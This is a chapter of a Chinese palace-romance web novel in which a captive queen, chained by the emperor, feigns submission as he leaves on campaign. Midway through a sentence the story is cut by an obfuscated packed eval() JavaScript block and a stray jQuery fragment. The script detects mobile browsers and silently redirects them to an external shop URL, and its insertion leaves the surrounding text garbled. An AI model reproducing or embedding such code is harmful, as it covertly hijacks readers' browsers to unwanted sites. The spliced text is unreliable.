烛火渐渐弱了,光影明灭,更漏声滴滴答答,漫漫长夜,都靠这声音度过了。
赫连决熟睡的呼吸声就像是诅咒,反复在她的耳旁响起。
在耳鬓厮磨时,这相同的呼吸曾经化作令人心颤的甜言蜜语,也曾是当年信誓旦旦立下的海誓山盟。
温柔和残酷,都出自同一人。
掌权者爱之则加诸膝,恶之则坠诸渊。清醒的沉沦,和痛苦的死去,都只会将人推向寂灭的深渊。
李漪静静坐在床沿,望着窗外那一树即将枯槁的桃花。
残红落尽,春意将逝,就像她困在这深宫之中,一点点被消磨、被禁锢的余生。
屏风之后,甲胄相撞的轻响断断续续,那道挺拔冷冽的身影在光影中沉默整理行装。
她望着望着,忽然便望穿了往后岁岁年年。
日复一日,年复一年,被锁在这座金碧辉煌、却冰冷刺骨的宫阙里,重复着无望的晨昏,看不到尽头,摸不到自由。
时间会成为最温柔的酷刑,将她的棱角磨平,将她的意志碾碎。
她能做些什么?
愤怒吗?
难道要疯癫一般,将眼前所能触及的一切尽数砸毁,以“宁为玉碎,不为瓦全”的惨烈,来彰显一丝灵魂的不屈?可那样,除了自取灭亡,再无意义。
沉默吗?
在严密的监视、沉重的枷锁之下,无声忍耐,苟延残喘?
在看不到一丝光亮的未来里,在百无聊赖的绝望中,被迫去思考何谓存在、何谓虚无?
她做不到。
她绝不能就这样认命。
她要自救。
心念一定,李漪缓缓起身,一步步走向屏风之后。
腕间铁链随着她的动作轻响,哗啦、哗啦,一声声敲在心上,刺耳又屈辱。
她走到他面前,轻轻一笑,笑得柔婉温顺,装作满心不舍,微微抬颈,将脆弱纤细的脖颈,毫无防备地展露在眼前这头即将嗜血出征的野兽面前。
“赫连决,我等着你回来。”
她伸手,轻轻环住那身冰冷坚硬的铠甲,将自己温热柔软的身躯,一点点贴上去。
指尖触到甲胄的寒意,她却笑得愈发温顺。
她想要的,从来不止这片刻的温存。
她想要更多的自由,至少,不该是这般日夜被锁链锁着,像个囚徒。
赫连决停下动作,垂眸看向她。
那双金色的眸子深不见底,沉沉落在她脸上,带着审视、猜忌、探究,似要将她从里到外看穿,分辨她究竟是真的想通了,还是依旧在伪装顺从。
“南边传来消息。”他声音低沉,不带半分情绪,“你妹妹,登基了。你与她……”
李漪像是听到了天大的笑话,忽然仰头大笑,笑得眼泪都从眼角溢了出来,带着几分凄楚,几分自嘲。
“夫君的眼线遍布天下,探查得应该比臣妾更清楚才是。臣妾与昭阳妹妹,早已水火不容,势同陌路。”
她笑意微凉,轻声道:
“在姜国,得宠的公主从来只有她一人。父皇疼她,母后护她,连两位兄长,也事事偏向她。臣妾在姜国,不过是个多余的、可以随意舍弃的棋子,哪里有过几日好日子?”
“若是太子哥哥登基,或许我与他之间,还剩几分情分……”
“可是现在……”李漪抬眸,眼底含着浅浅的笑意,却凉得刺骨,“若不是她,我又怎会被送来和亲,又怎会与陛下相见?”
这话半真半假,却足够打消赫连决一时的戒备。
他最忌惮的,便是自己北上出征之时,姜国与李漪里应外合,趁机生事。
见他神色稍缓,李漪心底冷笑,面上却依旧温顺。
赫连决指尖缓缓抚过她腕间冰凉的铁链,目光骤然一沉,紧紧落在她的小腹上,语气冷硬如铁:
“为何,至今还没有动静?”
李漪垂下眼眸,轻轻一叹,再抬眼时,眼眶已经微红,像只受了委屈、无处诉说的兔子,声音轻颤:“臣妾月事素来不调,陛下赐下的坐胎药,臣妾一碗不曾落下,日日按时服用。”
赫连决神色微松,伸手将她揽入怀中,语气难得带上一丝怜惜:“罢了,朕不怪你。等朕回来,再努力便是。待你怀上龙裔,朕便撤了这锁链。”
李漪僵在他怀里,强忍着心头翻涌的恶心与厌恶,状似无意地轻声开口:
“只是臣妾被锁在此处,行动不便。近日天干物燥,宫中人多手杂,万一……有个火情意外……”
赫连决怎会听不出她的未尽之言。他冷冷开口,语气不带半分温度,残忍得近乎冷漠:“放心,钥匙朕放在小叔那里。真有什么急事,他一定会过来。”
李漪听到这里,只觉得荒谬至极,心底一片冰凉。
真到大火焚身、生死一线之时,等那人慢悠悠赶来,她恐怕早已化为一堆灰烬,连骨头都剩不下。
赫连决……
你的心,当真狠到了这般地步。
李漪枯坐在空旷的宫殿深处,手臂上的锁链牵制着她的一举一动,链身的纹路被厚厚的棉花和丝绸阻隔,不会伤到她的肌肤,却远不及心底的荒芜与沉寂伤人。
殿内烛火昏黄,跳动的光晕将她的身影拉得颀长,投在斑驳的椒房上,孤孤单单,像一株被遗忘在角落、无人问津的枯草。
殿外的风卷着初春的凉意,从窗棂的缝隙里钻进来,吹动案上摊开的素笺,纸页簌簌作响,却连一丝生气也带不进这死寂的宫殿。
此刻,如果她没有记错,应该是夏日了!
春季有春耕,应该不会出兵作战。
可是她为什么没有感觉到春天曾经到来过呢?
是室内一如既往的安静,还是室内不知春夏的环境呢?
她什么也做不了,只能支着下巴,侧耳听着殿外传来的军乐齐鸣。
那乐声雄浑激昂,鼓点铿锵,号角嘹亮,穿透层层宫墙,清晰地撞进她的耳中,每一声都带着出征的豪迈与壮阔,却也每一声都像一把钝刀,轻轻割着她的心。
那是赫连决率军出征的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782747|204803||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
号角,是他身披玄铁铁甲、骑上骏马,挥师北上的信号,是属于他的、属于沙场的荣光,却与她毫无干系。
按照大燕旧例,帝王出征,皇后需亲至宫门前送行,执手嘱托,以安军心、显帝后同心。
可这一次,她没有去,也不能去。她“病”了。
一场突如其来的“风寒”,让她被“妥善”安置在这座偏僻的宫殿里,汤药不离,却连殿门也踏出不得。
这病,是赫连决的借口,是他北上之前,为了彻底困住她、杜绝她任何异动,而精心编织的牢笼。
她清楚地知道,赫连决此刻的不信任。
哪怕她装作温顺顺从,哪怕她假意依附,哪怕她将脆弱的一面展露在他面前,他依旧对她充满猜忌,生怕她趁着他北上出征,与姜国暗通款曲,或是联合朝中势力,趁机作乱。
所以,他出征之前,除了用铁链锁住她的人身,更留下了最得力的人手,牢牢看管着京城,看管着她。
那人便是八柱国之首,赫连氏的皇室宗亲,赫连玄。
赫连玄沉稳果决,器识宏深,风仪峻整。
深得赫连决的信任,更对赫连氏忠心耿耿,由他坐镇京城,既能稳住朝局、防备柔然趁虚来犯,更能死死盯着她的一举一动,不让她有任何可乘之机。
闭上眼,李漪甚至能想象到,赫连决正端坐于马背之上,统筹调度,安抚百官,将京城的大小事务打理得井井有条,而她,却只能困在这方寸宫墙之内,连外界的一丝风吹草动,都只能靠听、靠猜。
殿外的钟鼓之声此起彼伏,它们像一个个尖锐的提醒,清晰地告诉李漪:那个她曾经参与过的世界,那个金戈铁马、纵横捭阖、运筹帷幄的世界,依旧在有条不紊地运转着。
唯独她,被刻意排除在外。排除在沙场之外,排除在朝堂之外,排除在所有能掌控自己命运的机会之外。
她就像一个局外人,只能隔着厚厚的宫墙,听着外面的喧嚣与热闹,看着那个曾经属于自己的世界,在没有她的情况下,依旧繁华运转。
腕间的铁链哗啦作响,像是在嘲笑她的无能为力,像是在宣告她的囚徒命运。
李漪缓缓闭上眼,将眼底的酸涩与不甘尽数压下。她没有哭闹,没有愤怒,只是静静地坐着,任由那雄浑的军乐、杂乱的讯息,在耳边盘旋、消散。
日暮西沉,暗淡的灰黄从天际扩散开,斜阳余晖,落入凡尘,泛起点点光亮。
就在此刻,清风徐徐,送来了潮水般的琴声,婉转如春日莺啼,缠绵若春桃乍熟,嘈嘈切切,玉珠落盘。
她听过很多首曲子,见识过很多高超的琴声,可是,没有哪一首,能够像此人弹得,如此余音袅袅,缠绵悱恻。
仿佛唇齿相依。
这种感觉,她只听过一个人弹过。
她终于从颓丧中稍微振作了些,借着夕阳的余光,她透过缝隙,看到了一个红色的背影,那人还是和以前一样。
背如玉松,清正风雅,红衣在他的身上,不显艳俗,反而贵气比初见时更甚。